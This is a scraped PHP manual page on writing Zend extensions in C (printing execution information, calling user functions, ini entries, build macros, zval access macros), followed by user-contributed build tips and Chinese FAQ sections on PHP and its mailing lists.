
Example #13 Source code and screenshot for output in phpinfo().

php_info_print_table_start();
php_info_print_table_header(2, "First column", "Second column");
php_info_print_table_row(2, "Entry in first row", "Another entry");
php_info_print_table_row(2, "Just to fill", "another row here");
php_info_print_table_end();
Output of phpinfo()

Execution Information

You can also print execution information, such as the current file being executed. The name of the function currently being executed can be retrieved using the function get_active_function_name(). This function returns a pointer to the function name and doesn't accept any arguments. To retrieve the name of the file currently being executed, use zend_get_executed_filename(). This function accesses the executor globals, which are passed to it using the TSRMLS_C macro. The executor globals are automatically available to every function that's called directly by Zend (they're part of the INTERNAL_FUNCTION_PARAMETERS described earlier in this chapter). If you want to access the executor globals in another function that doesn't have them available automatically, call the macro TSRMLS_FETCH() once in that function; this will introduce them to your local scope.

Finally, the line number currently being executed can be retrieved using the function zend_get_executed_lineno(). This function also requires the executor globals as arguments. For examples of these functions, see Printing execution information..

Example #14 Printing execution information.

zend_printf("The name of the current function is %s&lt;br&gt;", get_active_function_name(TSRMLS_C));
zend_printf("The file currently executed is %s&lt;br&gt;", zend_get_executed_filename(TSRMLS_C));
zend_printf("The current line being executed is %i&lt;br&gt;", zend_get_executed_lineno(TSRMLS_C));
Printing execution information

Startup and Shutdown Functions

Startup and shutdown functions can be used for one-time initialization and deinitialization of your modules. As discussed earlier in this chapter (see the description of the Zend module descriptor block), there are module, and request startup and shutdown events.

The module startup and shutdown functions are called whenever a module is loaded and needs initialization; the request startup and shutdown functions are called every time a request is processed (meaning that a file is being executed).

For dynamic extensions, module and request startup/shutdown events happen at the same time.

Declaration and implementation of these functions can be done with macros; see the earlier section "Declaration of the Zend Module Block" for details.

Calling User Functions

You can call user functions from your own modules, which is very handy when implementing callbacks; for example, for array walking, searching, or simply for event-based programs.

User functions can be called with the function call_user_function_ex(). It requires a hash value for the function table you want to access, a pointer to an object (if you want to call a method), the function name, return value, number of arguments, argument array, and a flag indicating whether you want to perform zval separation.

ZEND_API int call_user_function_ex(HashTable *function_table, zval *object,
zval *function_name, zval **retval_ptr_ptr,
int param_count, zval **params[],
int no_separation);

Note that you don't have to specify both function_table and object; either will do. If you want to call a method, you have to supply the object that contains this method, in which case call_user_function()automatically sets the function table to this object's function table. Otherwise, you only need to specify function_table and can set object to NULL.

Usually, the default function table is the "root" function table containing all function entries. This function table is part of the compiler globals and can be accessed using the macro CG. To introduce the compiler globals to your function, call the macro TSRMLS_FETCH once.

The function name is specified in a zval container. This might be a bit surprising at first, but is quite a logical step, since most of the time you'll accept function names as parameters from calling functions within your script, which in turn are contained in zval containers again. Thus, you only have to pass your arguments through to this function. This zval must be of type IS_STRING.

The next argument consists of a pointer to the return value. You don't have to allocate memory for this container; the function will do so by itself. However, you have to destroy this container (using zval_dtor()) afterward!

Next is the parameter count as integer and an array containing all necessary parameters. The last argument specifies whether the function should perform zval separation - this should always be set to 0. If set to 1, the function consumes less memory but fails if any of the parameters need separation.

Calling user functions. shows a small demonstration of calling a user function. The code calls a function that's supplied to it as argument and directly passes this function's return value through as its own return value. Note the use of the constructor and destructor calls at the end - it might not be necessary to do it this way here (since they should be separate values, the assignment might be safe), but this is bulletproof.

Example #15 Calling user functions.

zval **function_name;
zval *retval;

if((ZEND_NUM_ARGS() != 1) || (zend_get_parameters_ex(1, &function_name) != SUCCESS))
{
    WRONG_PARAM_COUNT;
}

if((*function_name)->type != IS_STRING)
{
    zend_error(E_ERROR, "Function requires string argument");
}

TSRMSLS_FETCH();

if(call_user_function_ex(CG(function_table), NULL, *function_name, &retval, 0, NULL, 0) != SUCCESS)
{
    zend_error(E_ERROR, "Function call failed");
}

zend_printf("We have %i as type\n", retval->type);

*return_value = *retval;
zval_copy_ctor(return_value);
zval_ptr_dtor(&retval);

<?php

dl("call_userland.so");

function test_function()
{
    echo "We are in the test function!\n";
    return 'hello';
}

$return_value = call_userland("test_function");

echo "Return value: '$return_value'";
?>

以上例程会输出：

We are in the test function!
We have 3 as type
Return value: 'hello'

Initialization File Support

PHP 4 features a redesigned initialization file support. It's now possible to specify default initialization entries directly in your code, read and change these values at runtime, and create message handlers for change notifications.

To create an .ini section in your own module, use the macros PHP_INI_BEGIN() to mark the beginning of such a section and PHP_INI_END() to mark its end. In between you can use PHP_INI_ENTRY() to create entries.

PHP_INI_BEGIN()
PHP_INI_ENTRY("first_ini_entry",  "has_string_value", PHP_INI_ALL, NULL)
PHP_INI_ENTRY("second_ini_entry", "2",                PHP_INI_SYSTEM, OnChangeSecond)
PHP_INI_ENTRY("third_ini_entry",  "xyz",              PHP_INI_USER, NULL)
PHP_INI_END()
The PHP_INI_ENTRY() macro accepts four parameters: the entry name, the entry value, its change permissions, and a pointer to a change-notification handler. Both entry name and value must be specified as strings, regardless of whether they really are strings or integers.

The permissions are grouped into three sections:PHP_INI_SYSTEM allows a change only directly in the php.ini file; PHP_INI_USER allows a change to be overridden by a user at runtime using additional configuration files, such as .htaccess; and PHP_INI_ALL allows changes to be made without restrictions. There's also a fourth level, PHP_INI_PERDIR, for which we couldn't verify its behavior yet.

The fourth parameter consists of a pointer to a change-notification handler. Whenever one of these initialization entries is changed, this handler is called. Such a handler can be declared using the PHP_INI_MH macro:

PHP_INI_MH(OnChangeSecond);             // handler for ini-entry "second_ini_entry"

// specify ini-entries here

PHP_INI_MH(OnChangeSecond)
{

    zend_printf("Message caught, our ini entry has been changed to %s&lt;br&gt;", new_value);

    return(SUCCESS);

}
The new value is given to the change handler as string in the variable new_value. When looking at the definition of PHP_INI_MH, you actually have a few parameters to use:
#define PHP_INI_MH(name) int name(php_ini_entry *entry, char *new_value,
                                  uint new_value_length, void *mh_arg1,
                                  void *mh_arg2, void *mh_arg3)
All these definitions can be found in php_ini.h. Your message handler will have access to a structure that contains the full entry, the new value, its length, and three optional arguments. These optional arguments can be specified with the additional macros PHP_INI_ENTRY1 (allowing one additional argument), PHP_INI_ENTRY2 (allowing two additional arguments), and PHP_INI_ENTRY3 (allowing three additional arguments).

The change-notification handlers should be used to cache initialization entries locally for faster access or to perform certain tasks that are required if a value changes. For example, if a constant connection to a certain host is required by a module and someone changes the hostname, automatically terminate the old connection and attempt a new one.

Access to initialization entries can also be handled with the macros shown in Macros to Access Initialization Entries in PHP.

Macros to Access Initialization Entries in PHP
Macro | Description
INI_INT(name) | Returns the current value of entry name as integer (long).
INI_FLT(name) | Returns the current value of entry name as float (double).
INI_STR(name) | Returns the current value of entry name as string. Note: This string is not duplicated, but instead points to internal data. Further access requires duplication to local memory.
INI_BOOL(name) | Returns the current value of entry name as Boolean (defined as zend_bool, which currently means unsigned char).
INI_ORIG_INT(name) | Returns the original value of entry name as integer (long).
INI_ORIG_FLT(name) | Returns the original value of entry name as float (double).
INI_ORIG_STR(name) | Returns the original value of entry name as string. Note: This string is not duplicated, but instead points to internal data. Further access requires duplication to local memory.
INI_ORIG_BOOL(name) | Returns the original value of entry name as Boolean (defined as zend_bool, which currently means unsigned char).

Finally, you have to introduce your initialization entries to PHP. This can be done in the module startup and shutdown functions, using the macros REGISTER_INI_ENTRIES() and UNREGISTER_INI_ENTRIES():

ZEND_MINIT_FUNCTION(mymodule)
{

    REGISTER_INI_ENTRIES();

}

ZEND_MSHUTDOWN_FUNCTION(mymodule)
{

    UNREGISTER_INI_ENTRIES();

}

Where to Go from Here

You've learned a lot about PHP. You now know how to create dynamic loadable modules and statically linked extensions. You've learned how PHP and Zend deal with internal storage of variables and how you can create and access these variables. You know quite a set of tool functions that do a lot of routine tasks such as printing informational texts, automatically introducing variables to the symbol table, and so on.

Even though this chapter often had a mostly "referential" character, we hope that it gave you insight on how to start writing your own extensions. For the sake of space, we had to leave out a lot; we suggest that you take the time to study the header files and some modules (especially the ones in the ext/standard directory and the MySQL module, as these implement commonly known functionality). This will give you an idea of how other people have used the API functions - particularly those that didn't make it into this chapter.

Reference: Some Configuration Macros

config.m4

The file config.m4 is processed by buildconf and must contain all the instructions to be executed during configuration. For example, these can include tests for required external files, such as header files, libraries, and so on. PHP defines a set of macros that can be used in this process, the most useful of which are described in M4 Macros for config.m4.

M4 Macros for config.m4
Macro | Description
AC_MSG_CHECKING(message) | Prints a "checking <message>" text during configure.
AC_MSG_RESULT(value) | Gives the result to AC_MSG_CHECKING; should specify either yes or no as value.
AC_MSG_ERROR(message) | Prints message as error message during configure and aborts the script.
AC_DEFINE(name,value,description) | Adds #define to php_config.h with the value of value and a comment that says description (this is useful for conditional compilation of your module).
AC_ADD_INCLUDE(path) | Adds a compiler include path; for example, used if the module needs to add search paths for header files.
AC_ADD_LIBRARY_WITH_PATH(libraryname,librarypath) | Specifies an additional library to link.
AC_ARG_WITH(modulename,description,unconditionaltest,conditionaltest) | Quite a powerful macro, adding the module with description to the configure --help output. PHP checks whether the option --with-<modulename> is given to the configure script. If so, it runs the script unconditionaltest (for example, --with-myext=yes), in which case the value of the option is contained in the variable $withval. Otherwise, it executes conditionaltest.
PHP_EXTENSION(modulename, [shared]) | This macro is a must to call for PHP to configure your extension. You can supply a second argument in addition to your module name, indicating whether you intend compilation as a shared module. This will result in a definition at compile time for your source as COMPILE_DL_<modulename>.

API Macros

A set of macros was introduced into Zend's API that simplify access to zval containers (see API Macros for Accessing zval Containers).

API Macros for Accessing zval Containers
Macro | Refers to
Z_LVAL(zval) | (zval).value.lval
Z_DVAL(zval) | (zval).value.dval
Z_STRVAL(zval) | (zval).value.str.val
Z_STRLEN(zval) | (zval).value.str.len
Z_ARRVAL(zval) | (zval).value.ht
Z_LVAL_P(zval) | (*zval).value.lval
Z_DVAL_P(zval) | (*zval).value.dval
Z_STRVAL_P(zval_p) | (*zval).value.str.val
Z_STRLEN_P(zval_p) | (*zval).value.str.len
Z_ARRVAL_P(zval_p) | (*zval).value.ht
Z_LVAL_PP(zval_pp) | (**zval).value.lval
Z_DVAL_PP(zval_pp) | (**zval).value.dval
Z_STRVAL_PP(zval_pp) | (**zval).value.str.val
Z_STRLEN_PP(zval_pp) | (**zval).value.str.len
Z_ARRVAL_PP(zval_pp) | (**zval).value.ht

User Contributed Notes

bhavacakra at gmail dot com 10-Mar-2007 01:41
A very nice resource http://devzone.zend.com/public/view/tag/Extension
vijay at planetbazaar dot com 17-Sep-2005 12:53
Notes for Windows PHP5 extension developers:

First, two great articles at http://www.zend.com/php/internals/index.php are in the must read category. Unfortunately an article on building extensions on Windows is yet to arrive at this time. So one gets stuck at section 'Building Your Extension' in the first article - because there is no 'phpize' for Windows to the best of my knowledge.

First point of curiosity is how the extensions that are available for Windows appear in the output of "cscript /nologo configure.js --help". Turns out the magic happens by executing "buildconf.bat". To cut a long story short, it turns out that for Windows, the build system looks for config.w32 in each extension directory instead of config.m4; config.w32 is actually a javascript (from what I gather reading the "vim:ft=javascript" comment at the top of the files).

To get going with the "hello world" sample in the article mentioned above here is the config.w32 to replace config.m4;

--- begin file: config.w32 ---
// hello world module configuration
// vim:ft=javascript
ARG_ENABLE("hello", "hello Enable Hello World support", "no");

if (PHP_HELLO == "yes") {
  EXTENSION("hello", "hello.c", null, "-Iext/hello");
  AC_DEFINE('HAVE_HELLO', 1, 'Whether you ave Hello World');
}

--- end file: config.w32 ---

And just to compare, here is the config.m4

--- begin file: config.m4 ---
dnl vim:ft=m4
dnl hello world module configuration
PHP_ARG_ENABLE(hello, whether to enable Hellow World support,
[ --enable-hello  Enable Hello World support])

if test "$PHP_HELLO" = "yes"; then
  AC_DEFINE(HAVE_HELLO, 1 [Whether you have Hello World])
  PHP_NEW_EXTENSION(hello, hello.c, $ext_shared)
fi

--- end file: config.m4 ---

And finally the key step is to execute 'buildconf.bat'; after this step:

  cscript /nologo configure.js | find "hello"

should show something like:
"--enable-hello     hello Enable Hello World support"
tony dot dodd at btinternet dot com 20-Aug-2005 08:15
These macros are defined in a separate header file called php_ini.h.
josephmdaly at gmail dot com 29-Jul-2005 01:58
It looks like PHP 5 uses a newer version of the windows socket library.

If your extension links to a library that uses the old version you might get a lot of errors about redefining things.

To fix this problem make sure the PHP header files are included before the library?s header files.
josephmdaly at gmail dot com 01-Jul-2005 03:26
Here is a quick example of how to read arrays passed as parameters:

int i;
/* data will be used to store one element on each iteration of a loop */
zval **data = NULL;
/* data_array is the array we are copying values into */
char **data_array = NULL;

/* Use zend_parse_parameters as you normally would with an 'a' in the type
   string.
   In this example it sets the variables data_arg and array_length
*/

data_array = emalloc(sizeof(char *) * array_length);

for (i = 0; i < array_length; i++) {
  /* Get an element out of the hash table as a zval */
  zend_hash_index_find(Z_ARRVAL_P(data_arg), i, (void **)&data);

  /* Make sure the zval is a string */
  convert_to_string(*data);

  /* Convert the zval into a string and store it */
  data_array[i] = Z_STRVAL_PP(data);
}
seymour_levine at hotmail dot com 14-Jun-2005 05:18
A small amount of administration is needed to make this work.

Mainly the dl command does not pick up the module created.

To remedy, use a full path for the extension_dir parameter in php.ini. Then create that subdirectory mod 755 vis:

        extension_dir=/usr/lib/php411

And create php411. The name is arbitrary.

In the php dl command, specify dl('firstmod.so'); do not use any slashes.
Sy Levine 13-Jun-2005 05:29
I installed and run 4.1.1 on RH 7.1  It runs on a separate Apache Server than the one furnished by Red Hat.

A few adminisrative changes were necessary to get  the function going.

The main one was finding and modifying php.ini.

The command: find . -print | grep php.ini should do that.
Mine was in /usr/local/lib

Look for extension_dir in php.ini then type the directive as

extension_dir=/usr/lib/php4

Use no trailing / in the directive. This is where the dl('firstmod.so') php statement accesses your module.

Tip: I do not use a leading / like dl('/firstmod.so') which will be misparsed.  {Note by Ed a PHP ...}

The source module is named firstmod.c.

I compiled and created the firstmod.so with a script based on the various notes about the compile parameters. See
markjolesen, ywarnier, 17-Apr, wish I .
davide dot chiodi at poste dot it 06-Apr-2005 10:34
to build with lcc-win32 compiler:

change #include "php.h" to #include "php-lcc.h"
this is php-lcc.h (copied from excellent windbinder project by Rubem Pechansky)

//ZEND constants
#if defined(_MSC_VER)        // Rick
#    if defined(ZEND_EXPORTS)
#        undef ZEND_EXPORTS
#    endif
#    undef ZEND_DEBUG
#else
#    define PHP_WIN32
#    define ZEND_WIN32
#endif

#define ZEND_DEBUG    FALSE    // Must be FALSE
#define ZTS                    // Must define ZTS (Zend Thread Safety)
#define PHP_REGEX_H            // Skip php_regex.h: '_off_t' not defined anywhere
#define COMPILE_DL_FIRST_MODULE 1
//----------------------------------------------------------------- DEPENDENCIES

#include <php.h>

//---------------------------------------------------------- AUXILIARY FUNCTIONS

int parse_array(zval *array, const char *fmt, ...);

//------------------------------------------------------------------ END OF FILE

you must also used tweaked headers file from winbinder author at this link: http://hypervisual.com/winbinder/files/archived/php4_tweaked_headers.zip
(php 4).
I used php 4.3.10 and all worked fine
ywarnier at beeznest dot org 25-Oct-2004 04:19
Quick note to save time to beginners

To make the example above work, I had to add -I../TSRM because the file tsrm_virtual_cwd.h couldn't be found otherwise (it's located in the TSRM directory which is not included above)

In my case (pure Debian Woody install), php libraries were located in /usr/include/php4 (and php.h was in the 'main' subdirectory) so I had to use this path instead of /usr/local/include
ppmm at wuxinan dot net 19-Jul-2004 05:40
In fact, empty string is not writeable, even when we add an slash after the type decl. Say the implementation of my_test() is like this:

char *s;
int s_len;
zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s/", &s, &s_len)

and you pass an empty string my_test("") from the PHP script, then s[0] is not writeable. You will get a seg fault. The reason is that Zend doesn't emalloc a new copy of the empty string dynamically, instead it just assigns the empty_string (which is defined at compile time and located in unwriteable data seg) pointer to s.
someone at apple 01-May-2004 10:55
When following the directions for compiling via make, it may be necessary to delete the configure script before running buildconf.  Otherwise you may get a complaint about buggy cache code and the configure script won't actually be updated.
25-Apr-2004 10:13
If you want to free zval, you can do this:

{
zval *new_var;

/* allocate and initialize new container */
MAKE_STD_ZVAL(new_var);

/* set type and variable contents here, see the following sections */

ZVAL_STRING(new_var, "123456", 1);

/* introduce this variable by the name "new_variable_name" into the symbol table */
zend_hash_update(
    EG(active_symbol_table),
    "new_var",
    strlen("new_var") + 1,
    &new_var,
    sizeof(zval *),
    NULL
);

zend_hash_del(
    EG(active_symbol_table),
    "new_var",
    strlen("new_var") + 1);

FREE_ZVAL(new_var);
}
php-lists at nomeaning dot net 24-Apr-2004 12:36
phpmanual at oderwat dot de is incorrect:

TSRMLS_DC and TSRMLS_CC are both correct as listed in the original text.

TSRMLS_DC is used for Zend internal function declarations and TSRMLS_CC must be used when calling such functions.
Julien CROUZET jucrouzet_at_cpan.org 07-Apr-2004 02:51
Remember that even if RETURN_* macros sets the return_value to return variable to user, they also RETURN FROM YOU CODE by a "return ;", any code after these macro will be ignored.

If you want to place code after a return of variable (which is not a good idea for code readability), you'll have to use RETVAL_* macro instead.
Julien CROUZET jucrouzet_at_cpan.org 07-Apr-2004 02:44
Just an example of the way of the way of returning array :

/*
** Creates a array of on element (a long of value 42)
*/
ZEND_FUNCTION("make_42_array")
{
  zval *my_long;

  // Declaring and allocating return_value to be an array
  array_init(return_value);

  //Creates and assign the long element at (long)42
  MAKE_STD_ZVAL(my_long);
  ZVAL_LONG(new_element, 42);

  //Make this our $array[0] I do not use add_index_long to
  //to show a "by-hand" assignation
  zend_hash_index_update(HASH_OF(return_value), 0, (void *)&my_long, sizeof(zval *), NULL);

  //Returns nothing to satisfy the void prototype
  return ;

}
Julien CROUZET jucrouzet_at_cpan.org 05-Apr-2004 03:28
All associate array functions (add_assoc_long for example) are now just aliases of their extended version (add_assoc_long_ex).

The key lenght is calculated with strlen(key) + 1, but remember that this is NOT binary safe (strlen stops on the first null byte).

Users may want to use binary keys, so always prefer extended versions with a secure length !
jason dot lambert at uk dot clara dot net 31-Mar-2004 05:18
Just a note of caution, when using a string value within zend_parse_parameters() you MUST specify the length parameter also, or php may segfault on some machines.

Example possible segfault code:

char *s;
zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &s)

Correct code:

char *s;
int s_len;
zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &s, &s_len)
Julien CROUZET jucrouzet_at_cpan.org 24-Mar-2004 02:44
As a completion to k at ailis dot de :

According to ARG_SHOULD_BE_SENT_BY_REF macro in zend_compile.h, BYREF_FORCE_REST force the rest of the arguments to be passed as ref.

The first byte have to be the index of BYREF_FORCE_REST in the array.

Means, if you have, 5 args, the first two ones are NOT passed as ref, and the 3 others are, you can do :

static unsigned char rest_arguments_force_ref[] = { 3, BYREF_NONE, BYREF_NONE, BYREF_FORCE_REST };

We can see a few things in this example :

  * As k at ailis dot de said, the first byte is _NOT_ the number of args passed to the function.
  * The argument corresponding to BYREF_FORCE_REST MUST be passed as a reference
  * The others arguments MUST be passed as a reference
glamm at a-s-i dot com 06-Aug-2003 11:14
Regarding the note written by jo-shi at web dot de:

I do not think that the line
  ce = emalloc(sizeof(zend_class_entry));
is required, as the line
  ce = zend_register_internal_class(&class_entry TSRMLS_CC);
actually appears to go through the process of performing the memory allocation and reference counting of the object.
wilf at bigpond dot net dot au 15-Jun-2003 12:26
Another caching problem:

If you seen a message saying that 'may contain buggy cache code', ensure that you delete the 'autom4k...cache' directory before running buildconf.

A good test the see if your new module has been picked up by buildconf is:

$ grep -c my_module configure
(if that returns 0 then buildconf did not work).

Unfortunately this means that you have to completely rebuild your configure script each time you change an M4 file but it doesnt take too long.
wendywds at hotmail dot com 11-May-2003 03:39
Using php-4.3.1 on Redhat Linux 8, step 6 did not work as written.  There is no php executable in /usr/php-4.3.1.  Instead, with help from the pear-general mailing list, I discovered that the newly built php executable is in /usr/php-4.3.1/sapi/cli.  (The very end of the output of 'make' shows -o sapi/cli/php.  According to Johannes on pear-general, it might be in sapi/cgi instead.)

So I had to change step 6 to:
6.  $ sapi/cli/php -f ext/my_module/my_module.php
Ed a PHP enthusiast from NYC 27-Apr-2003 10:55
Thank you very much for the comments above!

Here is a distillation of how to compile your module as a dynamic library, placing it in your web server and loading it in your test .php file being served (PHP 4.3.1).

*** Compiling a module as a .so

$ cd ext/mystuff

$ cc -fpic -DCOMPILE_DL_MYSTUFF=1 -I/usr/local/include -I../../TSRM -I../.. -I../../main -I../../Zend -I../../ext/bcmath/libbcmath/src -c -o mystuff.o mystuff.c

$ cc -shared -L/usr/local/lib -rdynamic -o mystuff.so mystuff.o

*** Move it to the web server (doc root is /www)

$ cp mystuff.so /www/.

$ chmod 644 /www/mystuff.so

*** load the module in the .php file for testing purposes

<?
dl('/mystuff.so');

/*  your php code here  */
?>

The other thing that threw me off my tracks is that when dealing with strings you can allocate memory with emalloc and return the result with the RETURN_STRING macro (duplicate set to 0) and presumably PHP will take care of the efree -- or else I got it wrong and have plenty of leaks  ;-)
16-Apr-2003 11:08
Compiling Manually NOTE:
remenber add -DHAVE_CONFIG_H flag
otherwise you .so can't be ld. then you cp it to php modules directory.
i.e
Compiling cc -fpic -DHAVE_CONFIG_H  -I/usr/local/include -I. -I.. -I../Zend -c -o <your_object_file> <your_c_file>
19-Mar-2003 11:55
To built the modules shipped with the source just cd into the ext dir for example

cd ext/oci8

and type

export SHLIB_SUFFIX_NAME=so
phpize && aclocal && ./configure && make

now you have a subdir called "modules" with the .so file. Copy it to your extension dir and set everything up in php.ini.

This way you can add extensions to binary distributions like RPMS.
staffan dot palmroos at surfbuy dot se 07-Mar-2003 10:30
The specified_type_or_NULL operator ! in the type specifier string of zend_parse_parameters seems to work for strings too, in addition to (a, o, O, r, and z) as noted.
jo-shi at web dot de 03-Dec-2002 10:54
add_property_[*](*) overwrites existing values in your object:

ex:
 var_dump($myobj);
 object(objectname)(1){
   ["_myvalue"]=>int(23);
 }
 so in func1 i "add" a property again:
 PHP_FUNCTION(func1){
   add_property_long(getThis(),"_myvalue",32);
 }
 should (as expected) result
 object(objectname)(1){
   ["_myvalue"]=>int(32);
 }
/* annotation: getThis() is a function used by many extensions to find out the $this value in an object */
jo-shi at web dot de 03-Dec-2002 10:47
you can add functions to your object:
you may declare global
  static zend_function_entry
    php_my_class_functions[] = {
      ZEND_FE (func1, NULL)
      ZEND_FE (func2, NULL)
      {NULL, NULL, NULL}
    };

you may declare local
  zend_class_entry my_class_entry;
  zend_class_entry *ce;

you should do something like this
  INIT_CLASS_ENTRY(
    func_class_entry,
    "CLASSNAME",
    php_my_class_functions);
  ce = emalloc(sizeof(zend_class_entry));
  ce = zend_register_internal_class (
  &my_class_entry TSRMLS_CC);
  object_init_ex(return_value, ce);
this should produce a returned object in your php_code:
$myobj = yourfunc(/*yourparams*/);
$myobj->func1();
$myobj->func2();
k at ailis dot de 06-Apr-2002 03:56
If you are using one of the above macros you definitely want to use one of those convert-functions if you are not sure what data type is stored in the zval:

  convert_to_string(zval_p)
  convert_to_long(zval_p)
  convert_to_double(zval_p)
  convert_to_boolean(zval_p)
  convert_to_array(zval_p)
  convert_to_object(zval_p)

Otherwise you may get undefined results, because Z_STRVAL_P(zval_p) returns nonsense if the zval contains not a string. If you use convert_to_string() before, the value is converted to a string and you can safely access it via the Z_STRVAL* macros.

There are more useful convert-functions:

Resets the zval to NULL:
  convert_to_null(zval_p)

Converts to a long by using a special base:
  convert_to_long_base(zval_p, base)

There are some more functions which may be useful, but I don't know exactly what they are doing. Just take a look at Zend/zend_operaters.h.
k at ailis dot de 06-Apr-2002 03:41
To complete the macro list:

Access an object:
  Z_OBJ(zval)
  Z_OBJ_P(zval)
  Z_OBJ_PP(zval)

Access object property hash table:
  Z_OBJPROP(zval)
  Z_OBJPROP_P(zval)
  Z_OBJPROP_PP(zval)

Access object class entry:
  Z_OBJCE(zval)
  Z_OBJCE_P(zval)
  Z_OBJCE_PP(zval)

Access a ressource (which is fairly the same as Z_LVAL*):
  Z_RESVAL(zval)
  Z_RESVAL_P(zval)
  Z_RESVAL_PP(zval)
k at ailis dot de 06-Apr-2002 03:33
These macros can be used to access the boolean value of a zval. Yes, you can use Z_LVAL* for booleans, too, but these macros also do a type cast to zend_bool:

Z_BVAL(zval)
Z_BVAL_P(zval)
Z_BVAL_PP(zval)
k at ailis dot de 28-Mar-2002 05:57
Because it is not explained how the arg_types parameter works, I'll try to explain it myself: The arg_types parameter is an array of bytes. The first byte marks how many arg_type-specifiers follows. There are the following macros which can be used to regulate the reference forcing and I interprete them like this (No guarentee):

BYREF_NONE = Force passing by value
BYREF_FORCE = Force passing by reference
BYREF_ALLOW = Allow passing by reference
BYREF_FORCE_REST = ???

Commonly the arg_types parameter is used like this:

static unsigned char third_argument_force_ref[] = { 3, BYREF_NONE, BYREF_NONE, BYREF_FORCE };
ZEND_FE(foobar, third_argument_force_ref)

Note that the first element in the array does NOT specify how many arguments the function is expecting, only how many arg_type-Specifiers follows. Checking of the number of arguments has to be done in the function body itself (i.E. by using the zend_parse_parameters() function)
k at ailis dot de 28-Mar-2002 05:43
An information that is missing here: The function name parameter can be an array with two elements. The first element is an object reference or a class name and the second element is the method name. Zend recognizes if the parameter is a string (which results in a normal function call or a normal method call if the object parameter is used) or if it is an array.
john dot gallet at wanadoo dot fr 26-Mar-2002 11:58
Concerning all add_*_stringl() functions :
they do not behave like snprintf() for instance, i.e. the length of the string is not a *maximum length* but an *exact* length, and you end up with null '\000' or '\@'  caracters in your PHP string if the length parameter is greater than the actual length of the string to be associated with return_value.

Yes, it is clearly written but still a trick if you are used to strncpy() or snprintf().
HTH
k at ailis dot de 18-Mar-2002 08:32
object_init() and object_init_ex() are not calling the constructor of a class. You have to do this by yourself after creating the object.
k at ailis dot de 17-Mar-2002 06:48
There are also the following functions to add zvals to an array or hash:

ZEND_API int add_index_zval(zval *arg, uint index, zval *value);
ZEND_API int add_next_index_zval(zval *arg, zval *value);
ZEND_API int add_assoc_zval_ex(zval *arg, char *key, uint key_len, zval *value)
add_assoc_zval(__arg, __key, __value)
john dot gallet at wanadoo dot fr 04-Jan-2002 04:39
Distinction between --with and --enable : the "something external" means for exemple a shared object. If you are writing a C wrapper for an existing .so library, you should use --with

Do not forget the "cache" effect to modifyng M4 files. When you are testing and getting erros, be sure to delete config.cache before re-running buildconf and ./configure (I spent an hour looking for an error that was not there any more because of that).

HTH and happy developpment.


TSRM API

User Contributed Notes

There are no user contributed notes for this page.


FAQ：常见问题

  • 一般信息
  • 邮件列表
  • 获取 PHP
  • 数据库问题
  • 安装 — 安装常见问题
  • 编译问题
  • 使用 PHP
  • 密码散列 — 密码散列安全
  • PHP 和 HTML
  • PHP 和 COM
  • 其他问题

User Contributed Notes

crack22 dot mk at gmail dot com 03-May-2019 06:23
I found out that when I lost connection with MySql database method mysqli_query returns NULL. There is no information in the documentation about NULL that can be returned by this method.


一般信息

本章包括了有关 PHP 的大多数一般问题： 它是什么和它做什么。

  1. PHP是什么？
  2. PHP 这个缩写指的是什么？
  3. PHP 版本之间有什么联系？
  4. 可以同时运行几个不同版本的 PHP 吗？
  5. 我觉得自己发现了一个 bug！应该告诉谁？
PHP是什么？

根据本手册的 前言：

PHP 是一种 HTML 嵌入式的脚本语言。 它的很多语法来自 C，Java 和 Perl， 并具有几个 PHP 独有的特点。 该语言的主要目标是让 Web 开发人员快速地书写动态生成的网页。

PHP 这个缩写指的是什么？

PHP 是PHP: Hypertext Preprocessor的首字母缩写。 很多人有些糊涂了，因为缩写中的第一个字母也来自缩写。 这种方法叫做递归缩写（recursive acronyms）， 对此好奇的人可以访问 » 在线计算机词典（Free On-Line Dictionary of Computing） 或者Wikipedia上 » 递归缩写 的解释。

PHP 版本之间有什么联系？

PHP/FI 2.0 是最早的 PHP 版本，已经不再支持。 PHP 3 是 PHP/FI 2.0 的后继者，要好很多。 PHP 7 是目前一代的 PHP，内部使用了 Zend 引擎 3 代， 除了很多新功能之外还提供了许多附加的 面向对象编程（OOP） 特性。

可以同时运行几个不同版本的 PHP 吗？

可以，请参阅见 PHP 源程序发行包中的 INSTALL文件。

我觉得自己发现了一个 bug！应该告诉谁？

应该访问 PHP Bug 数据库并确认你发现的不是一个已知的 bug。 如果你在数据库中没有看到同样的， 用报告表单来报告此 bug。 使用 bug 数据库而不是给某个邮件列表发邮件非常重要， 因为该 bug 会被分配一个跟踪号码， 这样你就有可能在以后回来查看该 bug 的状态。 Bug 数据库在 » https://bugs.php.net/。

User Contributed Notes

There are no user contributed notes for this page.


邮件列表

本章包括有关如何与 PHP 团体接触的问题。最好的方法是邮件列表。

  1. 有没有 PHP 的邮件列表？
  2. 还有其它的团体吗？
  3. 我可以建立我自己的PHP邮件列表吗？
  4. 救命！我看来不能订阅／取消任何一个邮件列表！
  5. 在哪里有个邮件列表的归档吗？
  6. 我可以在邮件列表中问什么？
  7. 向邮件列表发帖子时我需要包括些什么信息？
有没有 PHP 的邮件列表？

当然有！有很多关于几个主题的邮件列表。所有邮件列表的完整列表在 » 技术支持页面。

最通用的邮件列表是 php-general。要订阅，发送一封邮件到 » php-general-subscribe@lists.php.net。不需要在邮件主题或内容中包括任何特殊单词。要取消订阅，发送一封邮件到 » php-general-unsubscribe@lists.php.net。

也可以在我们的 » 技术支持页面通过 web 界面来订阅和取消。

还有其它的团体吗？

世界上有无数 PHP 团体。我们的 » 技术支持页面上有例如一些 IRC 服务器和其它语种的邮件列表。

我可以建立我自己的PHP邮件列表吗？

百分百可以！实际上，我们不仅允许这么做，而且鼓励这么做！ 通过分享您在PHP方面的知识和经验来帮助他人， 有助于促进PHP组织和PHP语言本身的增长和发展。

救命！我看来不能订阅／取消任何一个邮件列表！

如果你在订阅或取消 php-general 邮件列表上有问题，可能是因为邮件列表软件没法确定你正确的邮件地址。如果你的 email 地址是 joeblow@example.com，可以将订阅请求发送到 php-general-subscribe-joeblow=example.com@lists.php.net，或者将取消请求发送到 php-general-unsubscribe-joeblow=example.com@lists.php.net。对其它邮件列表用类似的地址。

